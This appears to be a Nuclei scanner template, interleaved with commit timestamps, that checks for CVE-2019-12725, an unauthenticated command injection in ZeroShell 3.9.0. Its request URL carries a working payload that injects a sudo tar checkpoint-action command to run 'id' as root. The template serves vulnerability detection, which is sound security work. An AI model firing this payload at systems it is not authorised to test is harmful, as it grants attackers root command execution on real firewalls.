2021-01-02 04:59:06 +00:00
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id: CVE-2019-12725
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2020-11-26 04:24:02 +00:00
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info:
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name: Zeroshell 3.9.0 Remote Command Execution
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author: dwisiswant0
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severity: critical
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description: |
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2020-11-26 09:12:15 +00:00
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This template exploits an unauthenticated command injection vulnerability
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found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
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2020-11-26 04:24:02 +00:00
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As sudo is configured to execute /bin/tar without a password (NOPASSWD)
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it is possible to run root commands using the "checkpoint" tar options.
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2021-08-18 11:37:49 +00:00
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reference:
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2020-11-26 19:49:35 +00:00
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- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
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- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
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2021-02-05 19:44:41 +00:00
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tags: cve,cve2019,rce
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2019-12725
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cwe-id: CWE-78
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2020-11-26 04:24:02 +00:00
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: regex
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regex:
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2020-11-26 19:46:49 +00:00
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- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
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